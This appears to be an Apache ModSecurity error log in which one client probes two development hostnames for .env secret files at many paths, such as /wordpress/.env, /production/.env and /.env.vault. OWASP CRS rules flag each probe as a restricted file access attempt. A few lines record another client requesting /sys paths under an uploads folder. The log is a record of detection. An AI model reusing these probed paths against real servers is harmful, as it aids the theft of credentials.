[Fri Jul 17 09:14:37.438144 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/qa/.env"] [unique_id "almlJa14q1EBnanVMYGnEQAAAAk"]
[Fri Jul 17 09:14:37.438387 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJa14q1EBnanVMYGnEQAAAAk"]
[Fri Jul 17 09:14:37.551102 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:37.552735 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /symfony/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/symfony/.env"] [unique_id "almlJRHlOGcokz2QIwTWbwAAAAM"]
[Fri Jul 17 09:14:37.554706 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/symfony/.env"] [unique_id "almlJRHlOGcokz2QIwTWbwAAAAM"]
[Fri Jul 17 09:14:37.604819 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /preview/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/preview/.env"] [unique_id "almlJejME1mgqYZ5O94paQAAAAE"]
[Fri Jul 17 09:14:37.605098 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/preview/.env"] [unique_id "almlJejME1mgqYZ5O94paQAAAAE"]
[Fri Jul 17 09:14:37.605368 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJejME1mgqYZ5O94paQAAAAE"]
[Fri Jul 17 09:14:37.754819 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/input/input6/device/subsystem/drivers/acpi-ged/unbind
[Fri Jul 17 09:14:37.755875 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlJRHlOGcokz2QIwTWbwAAAAM"]
[Fri Jul 17 09:14:37.755950 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlJRHlOGcokz2QIwTWbwAAAAM"]
[Fri Jul 17 09:14:37.755975 2026] [security2:error] [pid 2030774:tid 2030774] [client 13.239.135.171:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlJRHlOGcokz2QIwTWbwAAAAM"]
[Fri Jul 17 09:14:37.774856 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /beta/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/beta/.env"] [unique_id "almlJY1dLClkUfK_dfHn7QAAAAI"]
[Fri Jul 17 09:14:37.775153 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/beta/.env"] [unique_id "almlJY1dLClkUfK_dfHn7QAAAAI"]
[Fri Jul 17 09:14:37.775480 2026] [security2:error] [pid 1993619:tid 1993619] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJY1dLClkUfK_dfHn7QAAAAI"]
[Fri Jul 17 09:14:37.924300 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wordpress/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/wordpress/.env"] [unique_id "almlJVCBpfuYyhJ140vV2gAAAB4"]
[Fri Jul 17 09:14:37.925605 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/wordpress/.env"] [unique_id "almlJVCBpfuYyhJ140vV2gAAAB4"]
[Fri Jul 17 09:14:37.943125 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /uat/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/uat/.env"] [unique_id "almlJa14q1EBnanVMYGnEgAAAAk"]
[Fri Jul 17 09:14:37.943353 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/uat/.env"] [unique_id "almlJa14q1EBnanVMYGnEgAAAAk"]
[Fri Jul 17 09:14:37.943584 2026] [security2:error] [pid 2032156:tid 2032156] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJa14q1EBnanVMYGnEgAAAAk"]
[Fri Jul 17 09:14:38.111459 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /stage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/stage/.env"] [unique_id "almlJujME1mgqYZ5O94pagAAAAE"]
[Fri Jul 17 09:14:38.111721 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/stage/.env"] [unique_id "almlJujME1mgqYZ5O94pagAAAAE"]
[Fri Jul 17 09:14:38.111983 2026] [security2:error] [pid 2031172:tid 2031172] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJujME1mgqYZ5O94pagAAAAE"]
[Fri Jul 17 09:14:38.146355 2026] [security2:error] [pid 2018768:tid 2018768] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlJVCBpfuYyhJ140vV2gAAAB4"]
[Fri Jul 17 09:14:38.267419 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:38.280361 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /development/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/development/.env"] [unique_id "almlJol9vhFBGA6D8l99NgAAAAw"]
[Fri Jul 17 09:14:38.280707 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/development/.env"] [unique_id "almlJol9vhFBGA6D8l99NgAAAAw"]
[Fri Jul 17 09:14:38.281134 2026] [security2:error] [pid 1993572:tid 1993572] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJol9vhFBGA6D8l99NgAAAAw"]
[Fri Jul 17 09:14:38.314860 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/wp/.env"] [unique_id "almlJrEWOaI5pmYo9fnR5QAAAAA"]
[Fri Jul 17 09:14:38.316309 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/wp/.env"] [unique_id "almlJrEWOaI5pmYo9fnR5QAAAAA"]
[Fri Jul 17 09:14:38.370154 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:38.447907 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /production/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/production/.env"] [unique_id "almlJkgVnBK6wAv37w6vvAAAABQ"]
[Fri Jul 17 09:14:38.448186 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/production/.env"] [unique_id "almlJkgVnBK6wAv37w6vvAAAABQ"]
[Fri Jul 17 09:14:38.448438 2026] [security2:error] [pid 2013809:tid 2013809] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJkgVnBK6wAv37w6vvAAAABQ"]
[Fri Jul 17 09:14:38.470619 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:38.477145 2026] [security2:error] [pid 2019501:tid 2019501] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almlJrEWOaI5pmYo9fnR5QAAAAA"]
[Fri Jul 17 09:14:38.614711 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/config/app/.env"] [unique_id "almlJl1_86A5R6msWNfXgQAAABI"]
[Fri Jul 17 09:14:38.614984 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/config/app/.env"] [unique_id "almlJl1_86A5R6msWNfXgQAAABI"]
[Fri Jul 17 09:14:38.615258 2026] [security2:error] [pid 2029866:tid 2029866] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJl1_86A5R6msWNfXgQAAABI"]
[Fri Jul 17 09:14:38.646128 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/cms/.env"] [unique_id "almlJroj0IkvhSCYadmE1wAAAAQ"]
[Fri Jul 17 09:14:38.647369 2026] [security2:error] [pid 2018741:tid 2018741] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/cms/.env"] [unique_id "almlJroj0IkvhSCYadmE1wAAAAQ"]
[Fri Jul 17 09:14:38.674637 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup11/device/device:0f/eject
[Fri Jul 17 09:14:38.776617 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:14:38.782604 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.vault"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.vault"] [unique_id "almlJgRRrtuZqNDDSqWzSQAAABo"]
[Fri Jul 17 09:14:38.782846 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/.env.vault"] [unique_id "almlJgRRrtuZqNDDSqWzSQAAABo"]
[Fri Jul 17 09:14:38.783113 2026] [security2:error] [pid 2013830:tid 2013830] [client 13.239.135.171:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almlJgRRrtuZqNDDSqWzSQAAABo"]
